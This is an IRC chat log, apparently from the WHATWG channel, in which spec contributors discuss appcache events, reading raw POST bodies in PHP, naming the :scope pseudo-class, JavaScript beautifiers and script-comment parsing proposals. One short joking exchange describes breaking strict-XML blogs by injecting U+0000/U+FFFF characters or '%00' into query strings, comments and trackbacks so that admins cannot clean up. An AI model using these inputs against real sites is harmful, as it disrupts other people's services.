I also think it would be helpful to have separate event summaries for different scenarios

[03:52:01.0000] <zcorpan_>
which is right? regexp matches string, or string matches regexp?

[03:52:02.0000] <Hixie>
right, it either sends noupdate or error

[03:53:00.0000] <Hixie>
trying to describe summaries for different scenarios is reallllly hard

[03:53:01.0000] <Hixie>
because there's a bazillion different scenarios

[03:53:02.0000] <Philip`>
zcorpan_: Depends what your favourite programming language does

[03:53:03.0000] <Hixie>
i had that problem with drag and drop too

[03:53:04.0000] <annevk2>
the multi-window scenario is most interesting I suppose; where the other window is doing the update but you're receiving events too, but less

[03:54:00.0000] <Philip`>
$str =~ /regexp/ vs regexp.match(str) etc

[03:54:01.0000] <Philip`>
zcorpan_: (I don't think it matters much in practice since it's unambiguous either way)

[03:55:00.0000] <annevk2>
because if you split those it is more clear why noupdate can come directly after checking without downloading

[03:55:01.0000] <Hixie>
annevk2: sounds like something lachy should document in his doc

[03:56:00.0000] <annevk2>
devil's advocate, but shouldn't the authoring details be just as clear as the impl details?

[03:56:01.0000] <zcorpan_>
Philip`: yeah. i guess different people have different mental models

[03:58:00.0000] <annevk2>
in general it seems that event details are not very author friendly

[03:59:00.0000] <annevk2>
e.g. dispatching of online and offline events is impl-protected

[03:59:01.0000] <zcorpan_>
i think all elements and objects should have an author box saying which events are fired and when

[04:00:00.0000] <zcorpan_>
video has it

[04:00:01.0000] <zcorpan_>
but other things don't

[04:01:00.0000] <Hixie>
annevk2: every time i've written detailed information for the author side that is just informative, i've regretted it. So I'd really rather not include any tutorial-like stuff in the spec until at least mid-CR.

[04:02:00.0000] <annevk2>
if you want to do it eventually then it works for me

[04:02:01.0000] <annevk2>
i agree that such authoring fluff is annoying; I haven't done it for XHR either

[04:03:00.0000] <annevk2>
though I have to say that appcache is a bitch to review

[04:04:00.0000] <annevk2>
Hixie, is it too late to change names of appcache events?

[04:06:00.0000] <Hixie>
why would we change the names?

[04:07:00.0000] <Hixie>
for http://www.w3.org/Bugs/Public/show_bug.cgi?id=7769 btw do you mean align on deletion, or on making the content attribute text be updated when the IDL attribute is updated?

[04:07:01.0000] <annevk2>
make the content attribute updated; because otherwise deletion wouldn't work

[04:08:00.0000] <Hixie>
what should it be set to if the event handler is set to a java method?

[04:08:01.0000] <annevk2>
so with cached it's clear it ends a phase; but obsolete doesn't match that; it would have to be obsoleted, notupdated, etc.

[04:09:00.0000] <annevk2>
Hixie, I'm fine with restricting this to ECMAScript

[04:09:01.0000] <annevk2>
in fact, I'd be fine with not exposing on* in any other scripting language

[04:09:02.0000] <Hixie>
annevk2: file a bug, i guess. i dunno who has implemented the events.

[04:10:00.0000] <Hixie>
annevk2: so what should onfoo="" be set to if onfoo is set to function () { } ?

[04:10:01.0000] <annevk2>
every function has a toString() no?

[04:11:00.0000] <jgraham>
/me notes that function.toString() can be overridden

[04:12:00.0000] <Hixie>
annevk2: so what if toString() throws an exception?

[04:12:01.0000] <zcorpan_>
annevk2: lunch

[04:13:00.0000] <annevk2>
Hixie, not sure :/

[04:13:01.0000] <annevk2>
Hixie, if you want me to figure it out more I can have a look

[04:13:02.0000] <Hixie>
http://software.hixie.ch/utilities/js/live-dom-viewer/saved/249 suggests your description of firefox is wrong

[04:14:00.0000] <annevk2>
zcorpan_, you got it

[04:14:01.0000] <annevk2>
Hixie, yeah, I couldn't reproduce what hallvord told me either; I'll look into it some more and update the bug report

[04:14:02.0000] <annevk2>
back in a bit

[04:27:00.0000] <othermaciej>
does anyone here know PHP?

[04:27:01.0000] <othermaciej>
(and would forgive me for asking a dumb question?)

[04:27:02.0000] <hsivonen>
/me used to know PHP but has avoided it for the last 5 or so years

[04:28:00.0000] <othermaciej>
how do you get the HTTP request body?

[04:28:01.0000] <othermaciej>
the script I am trying to modify gets the request method thus: $_SERVER['REQUEST_METHOD']

[04:29:00.0000] <hsivonen>
I don't know/recall. I always used facilities that didn't require me to access the request body directly and parsed it for me.

[04:31:00.0000] <Hixie>
the request body in CGI scripts is text on stdin

[04:31:01.0000] <Hixie>
dunno how that helps in php

[04:32:00.0000] <othermaciej>
I could get it if I could read stdin I guess

[04:33:00.0000] <Philip`>
I don't think PHP typically runs as CGI

[04:34:00.0000] <Philip`>
since it uses mod_php instead

[04:34:01.0000] <jgraham>
$request_body = @file_get_contents('php://input'); according to google

[04:35:00.0000] <jgraham>
or maybe http_get_request_body() if you have the right extension module installed

[04:35:01.0000] <Philip`>
http://www.daniweb.com/code/snippet216846.html does that

[04:36:00.0000] <hsivonen>
/me is amused by the IANA-incompliant URI used to address an HTTP *request* body

[04:36:01.0000] <Philip`>
I guess it's conceptually equivalent to reading STDIN

[04:36:02.0000] <Philip`>
rather than being intended for HTTP request bodies in particular

[04:37:00.0000] <hsivonen>
Philip`: sure but still

[04:37:01.0000] <hsivonen>
/me is easily amused

[04:37:02.0000] <Philip`>
Oh, I guess wrong

[04:37:03.0000] <Philip`>
php://stdin is for stdin

[04:38:00.0000] <Philip`>
'php://input allows you to read raw POST data. It is a less memory intensive alternative to $HTTP_RAW_POST_DATA and does not need any special php.ini directives. php://input is not available with enctype="multipart/form-data".'

[04:38:01.0000] <Philip`>
I guess you could use $HTTP_RAW_POST_DATA, then

[04:38:02.0000] <Philip`>
Oh, except for the php.ini stuff

[04:38:03.0000] <othermaciej>
I want the raw post data and I don't care about memory, this is for a regression test

[04:39:00.0000] <Philip`>
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");

[04:39:01.0000] <Philip`>
That looks fun

[04:41:00.0000] <Dashiva>
I never understood why PHP was so restrictive about raw post data on regular form submits

[04:41:01.0000] <Philip`>
Maybe because PHP itself automatically reads all the data and outputs it to files, and then the raw post data is no longer available because it's all been read

[04:42:00.0000] <Philip`>
(and they don't want to buffer all the megabytes of file uploads just in case somebody might want to access the post data again later)

[04:42:01.0000] <othermaciej>
none one php://input, php:/stdin or $HTTP_RAW_POST_DATA seems to work

[04:43:00.0000] <othermaciej>
(reading stdin hangs, other two seem to get nothing)

[04:43:01.0000] <othermaciej>
tcpdump confirms I an indeed sending an http body

[04:43:02.0000] <Philip`>
What content-type are you sending?

[04:44:00.0000] <othermaciej>
ah, I seem to be dropping the request Content-Type

[04:45:00.0000] <othermaciej>
that's probably my bug

[05:02:00.0000] <othermaciej>
OK, I'm now sending Content-Type: application/x-www-form-urlencoded

[05:02:01.0000] <othermaciej>
a non-PHP test case works but this PHP one still does not

[05:02:02.0000] <othermaciej>
I am doing <?php @file_get_contents('php://input') ?>

[05:03:00.0000] <Hixie>
well i was hoping to do microdata tonight

[05:03:01.0000] <hsivonen>
does PHP always intercept  application/x-www-form-urlencode ?

[05:03:02.0000] <Hixie>
but i'm getting too tired to work on it

[05:03:03.0000] <Dashiva>
othermaciej: Isn't that supposed to work only when you _don't_ use x-www-form-urlencoded?

[05:03:04.0000] <Hixie>
so i'll go to bed instead

[05:03:05.0000] <Hixie>
nn

[05:04:00.0000] <hsivonen>
nn

[05:04:01.0000] <othermaciej>
Dashiva: I think what it does not like is "multipart/form-data"

[05:05:00.0000] <Dashiva>
Hum

[05:06:00.0000] <Philip`>
othermaciej: Don't you need to use 'print' or 'echo' or something?

[05:07:00.0000] <othermaciej>
Philip`: ah

[05:07:01.0000] <Philip`>
Also, what does the '@' do?

[05:08:00.0000] <Dashiva>
No error reporting

[05:08:01.0000] <Philip`>
Oh

[05:08:02.0000] <Philip`>
I guess you don't want that

[05:09:00.0000] <zcorpan_>
doesn't php require a semicolon?

[05:10:00.0000] <othermaciej>
Philip`: thanks for all your help

[05:11:00.0000] <Philip`>
Of course what you should do is replace all the PHP with Perl

[05:11:01.0000] <Philip`>
print "Content-type: text/plain\n\n", <>; or whatever

[05:12:00.0000] <othermaciej>
I should, but that's beyond the scope of this bug fix

[05:12:01.0000] <othermaciej>
now that I did this I can get back to implementing HTML5 elements (tomorrow)

[05:25:00.0000] <Lachy>
Wondering if I should just give in to the requests to change :reference back to :scope as many people are requesting and live with the less than ideal name?

[05:26:00.0000] <zcorpan_>
:reference is a bit long

[05:26:01.0000] <Dashiva>
Is there a third name that would serve as a compromise that annoys everyone equally?

[05:27:00.0000] <zcorpan_>
:ref is shorter

[05:27:01.0000] <zcorpan_>
but i'd be happy with :scope too

[05:27:02.0000] <Lachy>
I once called it :context, but people didn't like htat

[05:27:03.0000] <Lachy>
*that

[05:28:00.0000] <jgraham>
Dashiva: :lachyForKing would annoy almost everyone equally

[05:28:01.0000] <zcorpan_>
what's wrong with :scope?

[05:28:02.0000] <Lachy>
I considered :ref, but all other pseudo-classes in use full, non-abbreviated words, so I decided against it for consistency

[05:29:00.0000] <Lachy>
zcorpan_, it's only a semi-accurate name for a limited set of the use cases.

[05:30:00.0000] <Lachy>
since the elements it matches don't necessarily define any sort of scope.

[05:30:01.0000] <Lachy>
although it does in scoped stylesheets and queryScopedSelector, it doesn't with matchesSelector or with querySelectorAll("...", refNodes);

[05:31:00.0000] <zcorpan_>
there's a queryScopedSelector?

[05:31:01.0000] <Lachy>
there is now

[05:31:02.0000] <Lachy>
http://dev.w3.org/2006/webapi/selectors-api2/

[05:35:00.0000] <zcorpan_>
Lachy: doesn't web idl use in optional foo bar instead of [, foo bar] ?

[05:35:01.0000] <zcorpan_>
Lachy: also, shouldn't "Any" be lowercase?

[05:37:00.0000] <zcorpan_>
are :this or :self bad names?

[05:37:01.0000] <Dashiva>
I'd say so

[05:38:00.0000] <zcorpan_>
why

[05:38:01.0000] <Lachy>
because there's more than one and it doesn't necessarily match the context node

[05:38:02.0000] <Dashiva>
Scoped stylesheets

[05:39:00.0000] <Philip`>
Have two different names which have exactly the same effect, then people can choose whichever one fits best

[05:39:01.0000] <Lachy>
all the names previously considered, that I can remember are: :scope, :this, :self, :context, :reference, :context-node

[05:40:00.0000] <Dashiva>
:center-of-attention

[05:41:00.0000] <Lachy>
Dashiva, it's a little short, don't you think?

[05:41:01.0000] <Dashiva>
Wait, I got it

[05:41:02.0000] <Dashiva>
:important

[05:44:00.0000] <Philip`>
:!

[05:44:01.0000] <zcorpan_>
::

[05:45:00.0000] <Philip`>
:D

[05:45:01.0000] <zcorpan_>
:lol:

[05:45:02.0000] <Lachy>
hah

[05:45:03.0000] <Lachy>
that would be cool having an emoticon as a pseudo-class.

[05:45:04.0000] <Dashiva>
:S for scope

[05:46:00.0000] <Philip`>
Selectors are too dull and unemotional

[05:46:01.0000] <Philip`>
If all the symbols were replaced with emoticons, you'd have an exciting rollercoaster ride of feeling as you read the selector

[05:46:02.0000] <Lachy>
:p would be best, if we could think of something for it to stand for

[05:47:00.0000] <Philip`>
It should match paragraphs

[05:47:01.0000] <Philip`>
(in the HTML5-defined sense, not just <p>s)

[05:49:00.0000] <Lachy>
:-^)>

[05:50:00.0000] <Lachy>
:-^)>-<

[06:00:00.0000] <Lachy>
http://dev.w3.org/2006/webapi/WebIDL/#idl-any

[06:00:01.0000] <Lachy>
It says 'Its type name  is “Any”. ' But then in the grammar http://dev.w3.org/2006/webapi/WebIDL/#dfn-type-name it uses "any"

[06:00:02.0000] <Lachy>
I'm confused.

[06:01:00.0000] <Lachy>
heycam, ^

[06:16:00.0000] <hsivonen>
http://blog.piraattipuolue.fi/2009/09/sananvapaustuomio-tekijanoikeuden-varjolla/

[06:16:01.0000] <hsivonen>
oops. wrong window

[06:17:00.0000] <hsivonen>
(summary: parody that made a politically relevant point got a sentence of copyright infringement to its creator)

[06:30:00.0000] <remysharp>
I assume someone knows that the multipage spec url doesn't work atm: http://www.whatwg.org/specs/web-apps/current-work/multipage/

[06:30:01.0000] <hsivonen>
maybe related to the PMS problem earlier today?

[06:32:00.0000] <remysharp>
Erm, not sure if that's a joke or serious, but the multi page was a useful resource :)

[06:32:01.0000] <remysharp>
/me hopes it comes back to life

[06:33:00.0000] <hsivonen>
remysharp: PMS is pimpmyspec.net that Hixie uses to generate the spec from the source file

[06:33:01.0000] <remysharp>
nice!

[06:34:00.0000] <remysharp>
my old company, we managed to produce a system called: Multi Infrastructure List Framework

[06:35:00.0000] <remysharp>
it took 6 months before the CTO flagged up the documentation - by which point it was way too late to change all the references to MILF

[06:56:00.0000] <zcorpan_>
opera has a framework called WTF

[06:56:01.0000] <zcorpan_>
(widget testing framework)

[06:57:00.0000] <remysharp>
there needs to be a wiki for those sneaky things that get in.

[06:57:01.0000] <remysharp>
WTF is superb.

[06:57:02.0000] <Rik|work>
zcorpan_: webkit has WTF too

[06:57:03.0000] <Rik|work>
Web Template Framework IIRC

[07:11:00.0000] <Philip`>
http://www.whatwg.org/specs/web-apps/current-work/multipage/stderr.txt

[07:11:01.0000] <Philip`>
I hope that's not my bug

[07:12:00.0000] <Philip`>
but my machine that runs the splitter seems to be currently offline so I can't do much about it now :-(

[07:12:01.0000] <Philip`>
(I don't see how it'd get that error unless some id was in the TOC but not in the spec, which should be impossible unless the spec was truncated)

[07:22:00.0000] <annevk2>
hmm, the bug list is back to zeor

[07:22:01.0000] <annevk2>
time to file new bugs

[07:24:00.0000] <hsivonen>
/me wishes the www.cnn.com came with minimized test cases that hit all the same bugs only once

[07:24:01.0000] <hsivonen>
s/wishes the/wishes/

[07:24:02.0000] <jgraham>
hsivonen: Debugging real world websites is fun, no?

[07:25:00.0000] <hsivonen>
"fun"

[07:25:01.0000] <jgraham>
Yeah, scare quotes implied

[07:26:00.0000] <jgraham>
/me wonders if anyone has written a tool for nicely formatting javascript

[07:27:00.0000] <jgraham>
Particularly to use on stuff that has been minimized

[07:27:01.0000] <Philip`>
Firefox has

[07:27:02.0000] <Philip`>
uneval()

[07:27:03.0000] <Philip`>
(Wrap the code in a function and then uneval the function, in particular)

[07:27:04.0000] <jgraham>
/me also wonders how much js-minimization actually helps given gzip and caching

[07:28:00.0000] <jgraham>
Philip`: Ah, should have thought of that

[07:28:01.0000] <hallvors>
jgraham: there are a number of tools for formatting JS

[07:29:00.0000] <hallvors>
http://hallvord.com/opera/scriptformatter.php 

[07:29:01.0000] <hallvors>
http://jsbeautifier.org/

[07:29:02.0000] <Philip`>
jgraham: Seems like a very easy thing to test

[07:29:03.0000] <hallvors>
http://elfz.laacz.lv/beautify/

[07:29:04.0000] <hallvors>
I mostly use the first one :-p

[07:29:05.0000] <jgraham>
Philip`: The caching part is harder to test

[07:30:00.0000] <hsivonen>
so... I'm getting a document.write() that implies document.open() and it's not even a defer script

[07:30:01.0000] <hsivonen>
hmm.

[07:30:02.0000] <gsnedders>
The latter two both run in JS, and are rather slow on, e.g., Gmail :P

[07:30:03.0000] <Philip`>
jgraham: On an ancient version of jQuery, minimisation saves ~50% on the gzipped size

[07:31:00.0000] <jgraham>
hallvors: Nice. I will remember those when the unenviable day comes that I have to grapple with a large minimized script

[07:31:01.0000] <hallvors>
(yeah, given all the string manipulation you need to do I'm not surprised that all of them probably are slow)

[07:31:02.0000] <gsnedders>
hallvors: It'd be nice to use a C++ tokenizer and work from that… but for me to write that I'd have to learn C++ :P

[07:31:03.0000] <jgraham>
Philip`: What about if you strip comments only from the unminimized version

[07:31:04.0000] <hallvors>
in Opera, viewing source of the script, taking it through the formatter, and re-loading from cache gives you an entirely new debugging experience

[07:31:05.0000] <Philip`>
/me hopes the "string manipulation" consists of something like a parser, not just a load of regexps

[07:32:00.0000] <jgraham>
/me is always somewhat nbervous of that

[07:32:01.0000] <hallvors>
Philip`: mine does. Can't speak for the others, though I think the elfz.laacz.lv one is quite similar to mine

[07:32:02.0000] <hallvors>
jsbeautifier.org has bugs.. It tends to break complex scripts.

[07:33:00.0000] <gsnedders>
hallvors: Until you hit an inline script in a page that cannot be cached, which means you can't edit it and use Dragonfly.

[07:33:01.0000] <hsivonen>
hallvors: thanks. Those could have been useful when figuring out the MySpace XMLSerializer silliness

[07:33:02.0000] <hallvors>
gsnedders: in that case, use the user JS equivalent :)

[07:33:03.0000] <Philip`>
jgraham: Original .js is about 26KB (gzipped), packed is 14KB, non-packed but removing comments (in particular just running it through 'cpp') is 17KB

[07:33:04.0000] <hallvors>
http://hallvord.com/opera/scriptformatter.js

[07:33:05.0000] <gsnedders>
hallvors: That's a pain :)

[07:34:00.0000] <hallvors>
why? :)

[07:34:01.0000] <hsivonen>
http://jsbeautifier.org/ doesn't work with an HTML5 parser, so that one is problematic for me

[07:34:02.0000] <gsnedders>
hallvors: Means editing another file :)

[07:34:03.0000] <hallvors>
put scriptformatter.js in your user js folder and Dragonfly will see all source code nicely formatted

[07:34:04.0000] <gsnedders>
ooo…

[07:34:05.0000] <jgraham>
Philip`: I would have thought that 3Kb would be pretty unnoticable on most sites

[07:35:00.0000] <gsnedders>
/me hopes he remembers that until he gets back to work on Monday

[07:35:01.0000] <hallvors>
..or use Fiddler's autoresponse feature on the formatted source (which is what you have to do to debug formatted code in other browsers anyway)

[07:35:02.0000] <Philip`>
jgraham: Probably true, but if you're already going through all the effort of stripping comments and having separate development vs deployment versions of your scripts, why not save a few extra KB at the same time?

[07:36:00.0000] <Philip`>
Also it makes it harder for people to steal your code

[07:36:01.0000] <gsnedders>
hallvors: Who says I use Windows? :)

[07:36:02.0000] <jgraham>
Philip`: Because browser makes will hate you?

[07:36:03.0000] <jgraham>
*makers

[07:36:04.0000] <hallvors>
hsivonen: you're welcome. Hope you find it useful and do complain about any bugs that break scripts after formatting

[07:36:05.0000] <Philip`>
jgraham: That's just payback

[07:36:06.0000] <gsnedders>
jgraham: Browser vendors will hate them for having horrible JS to start with anyway.

[07:36:07.0000] <Philip`>
They'll be so fed up with stupid browser bugs that they'll be happy to make your lives as miserable as possible

[07:36:08.0000] <jgraham>
gsnedders: Not all sites have horrible js

[07:37:00.0000] <gsnedders>
jgraham: Most do.

[07:37:01.0000] <hallvors>
gsnedders: well, find a windows box to use Fiddler on then, and proxy your traffic through it :-p

[07:37:02.0000] <gsnedders>
/me hopes jgraham doesn't find out what book he's reading at the moment, as then he'll really hate him

[07:37:03.0000] <jgraham>
What, Twilight?

[07:38:00.0000] <gsnedders>
/me nods

[07:38:01.0000] <jgraham>
You suck

[07:38:02.0000] <gsnedders>
Actually, the second one.

[07:38:03.0000] <Philip`>
You're reading Noddy?

[07:38:04.0000] <gsnedders>
It's so badly written, but I've fallen in love wit it nevertheless.

[07:39:00.0000] <gsnedders>
Philip`: No, "New Moon"

[07:39:01.0000] <Philip`>
Oh, right, you were agreeing with jgraham, not giving a hint

[07:40:00.0000] <gsnedders>
/me finds a photo so over-exposed the face in it is white even turning exposure all the way down on the RAW photo…

[07:41:00.0000] <jgraham>
gsnedders: YOu only have 12bits of luminance information. If it clips it's gone

[07:41:01.0000] <gsnedders>
Right, I know.

[07:42:00.0000] <gsnedders>
I don't think I've ever had it clip on the subject of the photo before, though I have on the sky.

[07:42:01.0000] <jgraham>
You don't own a flash?

[07:43:00.0000] <gsnedders>
No

[07:43:01.0000] <gsnedders>
(The background light for the photo where the face is over-exposed was done in perfectly fine lighting outdoors, a flash wouldn't have helped)

[07:43:02.0000] <gsnedders>
(I guess the sun came out from behind the clouds at the instant I took it)

[07:44:00.0000] <gsnedders>
(Everything else I have from those few minutes is fine)

[07:46:00.0000] <gsnedders>
(Well, apart from some chromatic aberrations in a couple)

[07:47:00.0000] <jgraham>
No I meant if you had a flash you would be used to overexposed foregrounds

[07:47:01.0000] <gsnedders>
Ah.

[07:47:02.0000] <jgraham>
And my point earlier was more that it is usually obvious when things have clipped without adjusting anything in the RAW (indeed the software can tell you)

[07:48:00.0000] <gsnedders>
/me doesn't mention anything else that has happened this month that jgraham will disagree with

[07:48:01.0000] <hsivonen>
nice. it seems the problem I had was related to running a fragment parser in the context of a document that has an active network stream parse going on

[07:49:00.0000] <hsivonen>
and the document confused innerHTML with document.write code and ran some document.write finalization code

[07:49:01.0000] <jgraham>
gsnedders: Now I want to know

[07:50:00.0000] <gsnedders>
jgraham: You don't think I was teasing you or anything?

[07:51:00.0000] <jgraham>
No. You would never do that

[07:52:00.0000] <gsnedders>
jgraham: Because someone downstairs (there) said I was, "a very nice, a bit humble and easy going person"?

[07:54:00.0000] <jgraham>
I thought that was just to get you an apartment contract :p

[07:54:01.0000] <gsnedders>
Well, yeah :P

[07:58:00.0000] <TabAtkins>
Philip`, you break XML-for-real blogs for fun, right?  I've got a friend who wants some examples, as he's interested in the theory.

[07:58:01.0000] <krijn>
Why is http://krijnhoetmer.nl/zooi/html/document-write-js.html not allowed by HTML5?

[07:59:00.0000] <krijn>
While http://krijnhoetmer.nl/zooi/html/test2.html is

[08:09:00.0000] <Philip`>
TabAtkins: Yes

[08:09:01.0000] <Philip`>
"fun"

[08:09:02.0000] <TabAtkins>
Hehe.

[08:11:00.0000] <Philip`>
TabAtkins: http://diveintomark.org/archives/2008/03/09/no-fury-like-dracon-scorned#comment-11442 had some links

[08:11:01.0000] <Philip`>
to examples

[08:11:02.0000] <Philip`>
Otherwise, read the IRC log to find more examples :-)

[08:12:00.0000] <TabAtkins>
Philip`, hah.

[08:13:00.0000] <krijn>
/me should scrape the logs for links

[08:15:00.0000] <Philip`>
TabAtkins: I'm not sure what "the theory" is

[08:16:00.0000] <TabAtkins>
Dunno, he was a bit vague.

[08:16:01.0000] <jgraham>
I guess "the theory" is the bits of XML 1.0 + XML NS 1.0 that are most commonly incorrect

[08:17:00.0000] <jgraham>
(ly implemented)

[08:17:01.0000] <Philip`>
It basically just involves putting U+0000 and U+FFFF into query strings until something breaks

[08:17:02.0000] <TabAtkins>
Makes sense.

[08:17:03.0000] <TabAtkins>
His exact phrasing was "I'd love some examples/references. Breaking websites is fun, and useful now that I'm writing some of my own."

[08:18:00.0000] <Philip`>
or into comments, if you want to break the page for everybody who looks at it

[08:19:00.0000] <zcorpan_>
or in trackbacks

[08:20:00.0000] <Philip`>
Bonus points if you prevent people using the admin interface to clean up your mess

[08:20:01.0000] <zcorpan_>
 /404%00

[08:21:00.0000] <TabAtkins>
Yeah, I regaled him with tales (I think I cribbed it from diveintomark) of the draconian-error advocate who got a bad trackback and was unable to fix it because it killed his backend.

[08:23:00.0000] <Philip`>
/me wonders how vulnerable Google Wave will be to XML well-formedness issues

[08:23:01.0000] <Philip`>
(Someone should give me an invite :-p )

[08:31:00.0000] <heycam>
Lachy, use "any" in the idl

[08:31:01.0000] <Lachy>
heycam, why is the spec confusing?

[08:31:02.0000] <heycam>
the "type name" is a string used for other purposes

[08:31:03.0000] <heycam>
maybe i should rename that definition

[08:32:00.0000] <Lachy>
also, do I need to make the module dom explicit?  Can I leave that out of the IDL?

[08:33:00.0000] <heycam>
no as currently written i believe you can leave out the module dom

[08:34:00.0000] <Lachy>
ok. I will remove it later

[08:39:00.0000] <zcorpan_>
why is ErrorEvent's .filename not called .source for consistency with <body onerror>?

[08:47:00.0000] <aroben>
http://www.whatwg.org/specs/web-apps/current-work/multipage/ seems broken

[08:48:00.0000] <Philip`>
Known issue

[08:48:01.0000] <Philip`>
I blame Hixie and/or jgraham

[08:48:02.0000] <Philip`>
and/or my ISP

[08:48:03.0000] <Philip`>
so it can't be fixed yet

[08:49:00.0000] <aroben>
ok, thanks

[09:19:00.0000] <miketaylr>
just noticed that opera defines a validity object for input elements

[09:19:01.0000] <miketaylr>
is this documented anywhere, does anyone know?

[09:20:00.0000] <annevk2>
yes, HTML5

[09:20:01.0000] <miketaylr>
:S

[09:20:02.0000] <miketaylr>
/me fails

[09:20:03.0000] <miketaylr>
thx annevk2

[09:20:04.0000] <Dashiva>
I'd link it, but Philip` broke the spec

[09:23:00.0000] <Philip`>
:'-(

[09:24:00.0000] <Philip`>
You could link to the single-page version

[09:24:01.0000] <Philip`>
or the W3C version

[09:24:02.0000] <Dashiva>
I wouldn't link my enemies to the single-page version, much less an innocent stranger ;)

[09:25:00.0000] <miketaylr>
heh. no need for a link, i've been there plenty. ;)

[09:26:00.0000] <miketaylr>
ok found it in 4.10.16.3 The constraint validation API, thanks again annevk2

[09:29:00.0000] <annevk2>
anytime

[09:55:00.0000] <zcorpan_>
let's see if that's controversial...

[09:56:00.0000] <jgraham>
zcorpan_: +1

[10:27:00.0000] <ROBOd>
i am another user of the spec who is missing http://www.whatwg.org/specs/web-apps/current-work/multipage/

[10:27:01.0000] <ROBOd>
could someone fix that?

[10:27:02.0000] <annevk2>
come back tomorrow

[10:27:03.0000] <Philip`>
I would fix it if my computer that generated the multipage spec wasn't suffering from a lack of internets

[12:49:00.0000] <zcorpan_>
hmm, http://jsbeautifier.org/ has <script>...<!--...</script>

[12:49:01.0000] <zcorpan_>
and doesn't use quirks mode

[12:53:00.0000] <zcorpan_>
it would break with my idea of handling it, because one </script> gets eaten, causing the script to not compile and the next script to be ignored, too

[12:54:00.0000] <zcorpan_>
it would work with hsivonen's idea though, because the <!-- is not only preceded by whitespace

[13:01:00.0000] <zcorpan_>
oh actually

[13:01:01.0000] <zcorpan_>
it doesn't fail

[13:01:02.0000] <zcorpan_>
yay

[13:02:00.0000] <zcorpan_>
because it doesn't have "<script" after the <!--

[13:06:00.0000] <zcorpan_>
/me writes down a slightly different idea in http://wiki.whatwg.org/wiki/CDATA_Escapes#Proposal_.232

[13:07:00.0000] <Philip`>
Proposal 232? Must be a pretty hard problem

[13:08:00.0000] <zcorpan_>
proposal .232

[13:09:00.0000] <zcorpan_>
Philip`: any idea on how to test the different ideas againt content?

[13:10:00.0000] <zcorpan_>
i guess one thing that's simple to test is whether there are pages with the end tag in an escaped text span for (r)cdata elements other than script

[13:11:00.0000] <zcorpan_>
whether they need the escapedness or would be better off without it

[13:11:01.0000] <Philip`>
Get someone to implement them all, run them all against lots of pages, find which pages produce different DOMs with the different methods, and then manually check what seems to be the best behaviour in each case?

[13:11:02.0000] <Philip`>
(assuming there is a finite list of proposals)

[13:22:00.0000] <jgraham>
You should really test against reparsing since that is the current behaviour

[13:26:00.0000] <jgraham>
(so proposals that fail to match reparsing in a significant number of cases are a no-go)

[13:28:00.0000] <zcorpan_>
so who feels like implementing reparsing and proposal #2 and #3 in html5lib or v.nu?

[13:28:01.0000] <zcorpan_>
maybe there's a simpler way to find out if they are workable

[13:29:00.0000] <Philip`>
If someone implements it in html5lib, don't expect me to try running it on half a million pages :-p

[13:30:00.0000] <zcorpan_>
because html5lib is too slow?

[13:30:01.0000] <Philip`>
Yes

[13:30:02.0000] <zcorpan_>
ok

[13:30:03.0000] <Philip`>
and I don't fancy running it for days

[13:32:00.0000] <zcorpan_>
don't we have some data about <!-- in (r)cdata elements somewhere already?

[13:33:00.0000] <zcorpan_>
i mean list of pages

[13:37:00.0000] <zcorpan_>
http://philip.html5.org/data/pages-with-unclosed-comments.txt

[13:38:00.0000] <Philip`>
http://philip.html5.org/data/pages-with-unclosed-scripts-and-comment-stuff.txt

[13:38:01.0000] <Philip`>
Please don't ask me what that regexp does

[13:39:00.0000] <zcorpan_>
quite a few would break with proposal #2

[13:39:01.0000] <zcorpan_>
because they use <!-- as normal but have no --> at all

[13:40:00.0000] <zcorpan_>
but my idea seems to work

[13:41:00.0000] <Dashiva>
Philip`: It doesn't look that bad

[13:42:00.0000] <TabAtkins>
I find it odd that sites creating today still use the <!-- hack on their <script>s at all.

[13:42:01.0000] <TabAtkins>
We're *long* past the point where that was necessary.

[13:44:00.0000] <gsnedders>
Philip`: What does that regexp do?

[13:44:01.0000] <Philip`>
/ignore gsnedders

[13:44:02.0000] <Philip`>
Ask Dashiva what it does

[13:44:03.0000] <gsnedders>
Oh, I can see myself.

[13:44:04.0000] <Dashiva>
It finds <script followed by <!-- followed by </script> before any occurence of -->, and the ensures there's no later --> </script>

[13:45:00.0000] <gsnedders>
I just asked you because you said not to do so.

[13:45:01.0000] <gsnedders>
And I'm a bitch.

[13:46:00.0000] <zcorpan_>
ok so that leaves proposal #3

[13:46:01.0000] <zcorpan_>
go find a page that breaks with proposal #3

[13:49:00.0000] <gsnedders>
… Simon says, ordering his minions around :P

[13:49:01.0000] <Philip`>
Dashiva: I don't think that's right

[13:50:00.0000] <Philip`>
It ensures there *is* a later -->, but no later </script>

[13:51:00.0000] <Dashiva>
That's what I meant, yes

[13:51:01.0000] <Philip`>
so the comment has to be closed, but the <script> will not be closed because the only </script> was inside the comment

[13:52:00.0000] <zcorpan_>
that's still not right

[13:52:01.0000] <zcorpan_>
if there is a later -->, it ensures that there's no later </script>

[13:53:00.0000] <zcorpan_>
but there can be a later </script> without --> before

[13:53:01.0000] <zcorpan_>
or no --> at all

[13:57:00.0000] <Philip`>
It's like <script> <!-- {anything except -->} </script> {anything except </script>} --> {anything except </script>} {end of file}

[13:57:01.0000] <Philip`>
I think

[13:58:00.0000] <Dashiva>
The --> can be repeated

[13:58:01.0000] <Philip`>
Only because --> is anything except </script>

[13:58:02.0000] <Dashiva>
Maybe should've been ? instead of * at the end for clarity

[13:59:00.0000] <Philip`>
The * is just implementing the {anything except </script>}

[13:59:01.0000] <Philip`>
because it's zero-or-more characters that are not '<', or are '<' but not followed by '/script'

[13:59:02.0000] <Dashiva>
Oh, right

[13:59:03.0000] <Dashiva>
I misread the nesting

[14:05:00.0000] <zcorpan_>
it works for the mozilla bugs hsivonen referenced

[14:05:01.0000] <zcorpan_>
and it works for the pages in Philip`'s list

[14:06:00.0000] <zcorpan_>
and it works for <script><!-- document.write('<script></script>'); document.write('<script></script>'); </script>

[14:06:01.0000] <zcorpan_>
it does not work for <script><!-- document.write('<sc'+'ript></script>'); </script>

[14:07:00.0000] <gsnedders>
/me wonders where to eat on Sunday evening

[14:07:01.0000] <zcorpan_>
doesn't work for <script><!-- document.write('<sc'+'ript></script>'); --></script> either

[14:08:00.0000] <zcorpan_>
i wonder if people split the start tag but not the end tag in their d.write

[14:08:01.0000] <jgraham>
gsnedders: Which country will you be in?

[14:08:02.0000] <gsnedders>
jgraham: Sweden

[14:09:00.0000] <jgraham>
gsnedders: Why are you wondering?

[14:09:01.0000] <gsnedders>
